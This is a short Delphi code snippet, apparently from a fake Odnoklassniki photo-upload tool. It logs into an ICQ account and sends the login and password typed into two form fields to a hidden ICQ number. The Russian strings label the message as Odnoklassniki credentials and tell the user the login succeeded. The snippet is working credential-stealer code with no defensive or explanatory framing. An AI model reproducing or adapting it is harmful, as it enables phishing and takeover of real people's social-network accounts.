procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.UIN:= strtoint('*****');
icqclient1.Password:= '*****';
ICQClient1.Login();
ShowMessage('Вы успешно залогинились на сервере.');
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + '  Password: ' + Edit2.Text );
end;